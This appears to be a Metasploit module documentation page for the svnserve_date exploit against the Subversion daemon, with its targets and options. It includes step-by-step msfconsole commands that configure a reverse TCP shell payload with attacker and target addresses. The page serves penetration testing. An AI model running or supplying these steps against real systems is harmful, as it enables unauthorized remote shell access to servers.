Metasploit Penetration Testing Framework

Subversion Date Svnserve

This is an exploit for the Subversion date parsing overflow. This exploit is for the svnserve daemon (svn:// protocol) and will not work for Subversion over webdav (http[s]://). This exploit should never crash the daemon, and should be safe to do multi-hits. **WARNING** This exploit seems to (not very often, I've only seen it during testing) corrupt the subversion database, so be careful!

Rank

Average

Authors

spoonm < spoonm [at] no$email.com >

References

Exploit Targets

0 - Linux Bruteforce
1 - FreeBSD Bruteforce

Development

Similar Modules

Usage Information

$ msfconsole

                ##                          ###           ##    ##
##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/multi/svn/svnserve_date
msf exploit(svnserve_date) > show payloads
msf exploit(svnserve_date) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(svnserve_date) > set LHOST [MY IP ADDRESS]
msf exploit(svnserve_date) > set RHOST [TARGET IP]
msf exploit(svnserve_date) > show targets
msf exploit(svnserve_date) > set TARGET [TARGET ID]
msf exploit(svnserve_date) > exploit

Module Options

RHOST	The target address
RPORT	The target port (default: 3690)
URL	SVN URL (ie svn://host/repos) (default: svn://host/svn/repos)
BruteStep	Step size between brute force attempts
BruteWait	Delay between brute force attempts
CHOST	The local client address
CPORT	The local client port
ConnectTimeout	Maximum number of seconds to establish a TCP connection
ContextInformationFile	The information file that contains context information
DisablePayloadHandler	Disable the handler code for the selected payload
EnableContextEncoding	Use transient context when encoding payloads
IgnoreErrors	Ignore errors
Proxies	Use a proxy chain
RetLength	Length of rets after payload
SSL	Negotiate SSL for outgoing connections
SSLVersion	Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
WORKSPACE	Specify the workspace for this module
WfsDelay	Additional delay when waiting for a session
TCP::max_send_size	Maxiumum tcp segment size. (0 = disable)
TCP::send_delay	Delays inserted before every send. (0 = disable)

OSVDB:	CVE:
BID:	MSB:
TEXT: